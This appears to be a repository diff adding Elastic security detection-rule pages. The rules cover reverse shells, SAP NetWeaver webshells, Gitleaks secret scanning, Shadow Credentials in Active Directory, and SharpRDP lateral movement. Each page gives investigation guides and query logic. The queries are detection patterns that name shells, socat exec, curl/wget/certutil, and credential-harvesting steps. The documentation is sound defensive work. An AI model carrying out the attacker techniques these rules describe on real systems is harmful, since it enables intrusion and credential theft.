unauthorized user accounts or modified files. +- Review and secure network configurations to ensure that only authorized IP addresses can initiate connections to critical systems. +- Update and patch the affected system and any related software to close vulnerabilities that may have been exploited. +- Implement enhanced monitoring and logging on the affected host and network to detect any further attempts at reverse shell activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where event.type == "start" and host.os.type == "linux" and + event.action in ("connection_attempted", "connection_accepted") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat") and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] by process.entity_id + [process where event.type == "start" and host.os.type == "linux" and event.action in ("exec", "fork") and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and ( + (process.args : ("-i", "-l")) or (process.parent.name == "socat" and process.parent.args : "*exec*") + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-exploitation.asciidoc new file mode 100644 index 0000000000..eec74e032d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-exploitation.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-20-potential-sap-netweaver-exploitation]] +=== Potential SAP NetWeaver Exploitation + +Identifies suspicious processes spawned from the SAP NetWeaver application. This may indicate an attempt to execute commands via webshell. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/ +* https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SAP NetWeaver Exploitation* + + + +*Possible investigation steps* + + +- Examine the process tree to verify the parent-child relationship between the Java process and any suspicious child processes such as shell scripts or scripting languages (e.g., sh, bash, curl, python). +- Check the command line arguments and environment variables of the suspicious child processes to identify any potentially malicious payloads or commands being executed. +- Investigate the host's recent activity and logs for any other indicators of compromise or unusual behavior that might correlate with the suspected exploitation attempt. +- Assess the system for any unauthorized changes or new files that may have been introduced as a result of the exploitation attempt, focusing on JSP files under the IRJ root directory. + + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further outbound connections and potential lateral movement. +- Terminate any suspicious Java processes identified in the alert, especially those making outbound connections to LDAP, RMI, or DNS ports. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious processes, focusing on child processes like shell scripts or scripting languages. +- Restore the affected system from a known good backup if unauthorized changes or malware are detected. +- Update and patch Java and any related applications to the latest versions to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type in ("linux", "windows") and + process.name : ("sh", + "bash", + "dash", + "ksh", + "tcsh", + "zsh", + "curl", + "perl*", + "python*", + "ruby*", + "php*", + "wget", + "cmd.exe", + "powershell.exe", + "rundll32.exe", + "msbuild.exe", + "curl.exe", + "certutil.exe") and + ( + process.working_directory : ("/*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") or + process.command_line : ("*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") or + process.parent.command_line : ("*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-webshell-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-webshell-creation.asciidoc new file mode 100644 index 0000000000..c69cfa4045 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sap-netweaver-webshell-creation.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-potential-sap-netweaver-webshell-creation]] +=== Potential SAP NetWeaver WebShell Creation + +Identifies suspicious Java file creation in the IRJ directory of the SAP NetWeaver application. This may indicate an attempt to deploy a webshell. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/ +* https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SAP NetWeaver WebShell Creation* + + + +*Possible investigation steps* + + +- Examine the file creation event and the associated HTTP post request logs details to identify the source of the creation. +- Examine the process tree to verify the parent-child relationship between the Java process and any suspicious child processes such as shell scripts or scripting languages (e.g., sh, bash, curl, python). +- Check the command line arguments and environment variables of the suspicious child processes to identify any potentially malicious payloads or commands being executed. +- Investigate the host's recent activity and logs for any other indicators of compromise or unusual behavior that might correlate with the suspected exploitation attempt. +- Assess the system for any unauthorized changes or new files that may have been introduced as a result of the exploitation attempt, focusing on JSP files under the IRJ root directory. + + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further outbound connections and potential lateral movement. +- Terminate any suspicious Java processes identified in the alert, especially those making outbound connections to LDAP, RMI, or DNS ports. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious processes, focusing on child processes like shell scripts or scripting languages. +- Restore the affected system from a known good backup if unauthorized changes or malware are detected. +- Update and patch Java and any related applications to the latest versions to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("linux", "windows") and event.action == "creation" and + file.extension : ("jsp", "java", "class") and + file.path : ("/*/sap.com/*/servlet_jsp/irj/root/*", + "/*/sap.com/*/servlet_jsp/irj/work/*", + "?:\\*\\sap.com\\*\\servlet_jsp\\irj\\root\\*", + "?:\\*\\sap.com\\*\\servlet_jsp\\irj\\work\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-secret-scanning-via-gitleaks.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-secret-scanning-via-gitleaks.asciidoc new file mode 100644 index 0000000000..a19e0681fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-secret-scanning-via-gitleaks.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-potential-secret-scanning-via-gitleaks]] +=== Potential Secret Scanning via Gitleaks + +This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Secret Scanning via Gitleaks* + + +This alert fires when a host launches Gitleaks, a secret-scanning utility that hunts high-entropy strings and credentials in source code and repositories, signaling potential credential harvesting. An attacker may clone internal repos or traverse local workspace directories, drop a portable gitleaks binary in /tmp or %TEMP%, run recursive scans with wide rule sets and JSON output, then archive the results to exfiltrate tokens, API keys, and passwords for lateral movement and service impersonation. + + +*Possible investigation steps* + + +- Review the full command line to identify --path/--repo/--report/--format flags, which reveal scope and whether results are being written for exfiltration. +- Examine parent and ancestry plus user session to determine if it was launched by CI/dev tooling versus an interactive shell, and note execution from temp or unusual directories suggesting a dropped portable binary. +- Locate and inspect newly created artifacts (gitleaks.json, .sarif, .csv, zip archives) near the event time, confirm the presence of secrets, and map their sensitivity to affected systems. +- Correlate with network and data movement around the event for clones to internal repos and outbound transfers to cloud storage, paste sites, or email, and capture repository URLs or destinations if present. +- Trace how the binary arrived by checking recent downloads and file writes (curl/wget, package managers, GitHub releases), verify the binary’s hash and signer, and compare against known-good sources. + + +*False positive analysis* + + +- A developer or security team member intentionally runs gitleaks to audit internal code for secrets during routine hygiene, producing local report artifacts and showing normal parent processes without exfiltration behavior. +- A user invokes gitleaks with --version or --help to validate installation or review usage, which generates a process start event but performs no scanning or credential access. + + +*Response and remediation* + + +- If the run was unauthorized or executed from /tmp, %TEMP%, or a user profile, terminate gitleaks.exe/gitleaks, isolate the host from the network, and capture the binary path and hash for forensics. +- Quarantine report artifacts produced by the run (gitleaks.json, .sarif, .csv, and any zip archives) by securing copies for evidence, removing world-readable permissions, and deleting residual copies from the working directory, Downloads, repo folders, and CI workspaces after collection. +- Eradicate tooling by removing the dropped gitleaks binary and any wrapper scripts or CI job steps that invoke it, and enforce execution blocking for gitleaks in user-writable paths via application control or EDR policy. +- Immediately revoke and rotate any secrets confirmed in the reports or repository (cloud API keys, service tokens, SSH keys, credentials), purge them from repo history (git filter-repo/BFG) if present, redeploy updated secrets from the vault, and force password resets for affected accounts. +- Review git activity and data movement around the event for repo clones and exports, and inspect outbound transfers of report files to cloud storage, paste sites, or email; escalate to Incident Response and Legal if any report left the device or if production/customer credentials are exposed. +- Harden going forward by enabling approved server-side and CI secret scanning, enforcing pre-commit hooks, prohibiting PATs with broad scopes, restricting egress to paste/file-sharing sites, and blocking execution of portable binaries from temp and user-writable locations. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action like ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started", "Process Create*") and +process.name : ("gitleaks.exe", "gitleaks") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shadow-credentials-added-to-ad-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shadow-credentials-added-to-ad-object.asciidoc new file mode 100644 index 0000000000..3f72bd81c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shadow-credentials-added-to-ad-object.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-potential-shadow-credentials-added-to-ad-object]] +=== Potential Shadow Credentials added to AD Object + +Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab +* https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials +* https://github.com/OTRF/Set-AuditRule +* https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Shadow Credentials added to AD Object* + + +The msDS-KeyCredentialLink is an Active Directory (AD) attribute that links cryptographic certificates to a user or computer for domain authentication. + +Attackers with write privileges on this attribute over an object can abuse it to gain access to the object or maintain persistence. This means they can authenticate and perform actions on behalf of the exploited identity, and they can use Shadow Credentials to request Ticket Granting Tickets (TGTs) on behalf of the identity. + + +*Possible investigation steps* + + +- Identify whether Windows Hello for Business (WHfB) and/or Azure AD is used in the environment. + - Review the event ID 4624 for logon events involving the subject identity (`winlog.event_data.SubjectUserName`). + - Check whether the `source.ip` is the server running Azure AD Connect. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Review the event IDs 4768 and 4769 for suspicious ticket requests involving the modified identity (`winlog.event_data.ObjectDN`). + - Extract the source IP addresses from these events and use them as indicators of compromise (IoCs) to investigate whether the host is compromised and to scope the attacker's access to the environment. + + +*False positive analysis* + + +- Administrators might use custom accounts on Azure AD Connect. If this is the case, make sure the account is properly secured. You can also create an exception for the account if expected activity makes too much noise in your environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. + - Remove the Shadow Credentials from the object. +- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover User objects, so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule. +As this specifies the msDS-KeyCredentialLink Attribute GUID, it is expected to be low noise. + +``` +Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 -AuditFlags Success +``` + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" and + winlog.event_data.AttributeValue :B\:828* and + not winlog.event_data.SubjectUserName: MSOL_* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sharprdp-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sharprdp-behavior.asciidoc new file mode 100644 index 0000000000..1993f47004 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-sharprdp-behavior.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-potential-sharprdp-behavior]] +=== Potential SharpRDP Behavior + +Identifies potential behavior of SharpRDP, which is a tool that can be used to perform authenticated command execution against a remote target via Remote Desktop Protocol (RDP) for the purposes of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.registry-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3 +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Lateral%20Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SharpRDP Behavior* + + +Remote Desktop Protocol (RDP) enables users to connect to and control remote systems, facilitating legitimate administrative tasks. However, adversaries can exploit RDP for lateral movement within a network. SharpRDP, a tool for executing commands on remote systems via RDP, can be misused for unauthorized access. The detection rule identifies suspicious RDP activity by monitoring network connections, registry changes, and process executions, flagging potential misuse indicative of SharpRDP behavior. + + +*Possible investigation steps* + + +- Review the network logs to confirm the presence of incoming RDP connections on port 3389, specifically looking for connections initiated by IP addresses other than localhost (127.0.0.1 or ::1). +- Examine the registry changes to identify any new RunMRU string values set to cmd, powershell, taskmgr, or tsclient, which could indicate command execution attempts. +- Investigate the process execution logs to verify if any processes were started with parent processes like cmd.exe, powershell.exe, or taskmgr.exe, and ensure these are not legitimate administrative actions. +- Correlate the timestamps of the RDP connection, registry change, and process execution to determine if they align within the 1-minute window specified by the detection rule. +- Check the source IP address of the RDP connection against known threat intelligence feeds to assess if it is associated with any malicious activity. +- Analyze user account activity associated with the RDP session to determine if the account was compromised or if the actions were authorized. + + +*False positive analysis* + + +- Legitimate administrative tasks using RDP may trigger the rule if they involve command execution through cmd, powershell, or taskmgr. To manage this, create exceptions for known administrative IP addresses or user accounts frequently performing these tasks. +- Automated scripts or software updates that modify the RunMRU registry key with benign commands can be mistaken for SharpRDP behavior. Identify and exclude these processes or scripts from the detection rule. +- Remote management tools that use RDP and execute commands as part of their normal operation might be flagged. Whitelist these tools by their process names or specific command patterns to prevent false positives. +- Internal network scanning or monitoring tools that simulate RDP connections for security assessments could be misinterpreted. Exclude these tools by their source IP addresses or network behavior signatures. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further lateral movement and unauthorized access. +- Terminate any suspicious processes identified in the alert, such as those initiated by cmd.exe, powershell.exe, or taskmgr.exe, to halt any ongoing malicious activity. +- Review and revert any unauthorized registry changes, particularly those related to the RunMRU registry path, to restore system integrity. +- Conduct a thorough examination of the affected host for additional indicators of compromise, such as unauthorized user accounts or scheduled tasks, and remove any found. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent further unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for RDP connections and registry changes to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +/* Incoming RDP followed by a new RunMRU string value set to cmd, powershell, taskmgr or tsclient, followed by process execution within 1m */ + +sequence by host.id with maxspan=1m + [network where host.os.type == "windows" and event.type == "start" and process.name : "svchost.exe" and destination.port == 3389 and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.ip != "127.0.0.1" and source.ip != "::1" + ] + + [registry where host.os.type == "windows" and event.type == "change" and process.name : "explorer.exe" and + registry.path : ("HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\\*") and + registry.data.strings : ("cmd.exe*", "powershell.exe*", "taskmgr*", "\\\\tsclient\\*.exe\\*") + ] + + [process where host.os.type == "windows" and event.type == "start" and + (process.parent.name : ("cmd.exe", "powershell.exe", "taskmgr.exe") or process.args : ("\\\\tsclient\\*.exe")) and + not process.name : "conhost.exe" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.asciidoc new file mode 100644 index 0000000000..5f69fb943e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected]] +=== Potential Shell via Wildcard Injection Detected + +This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.exploit-db.com/papers/33930 + 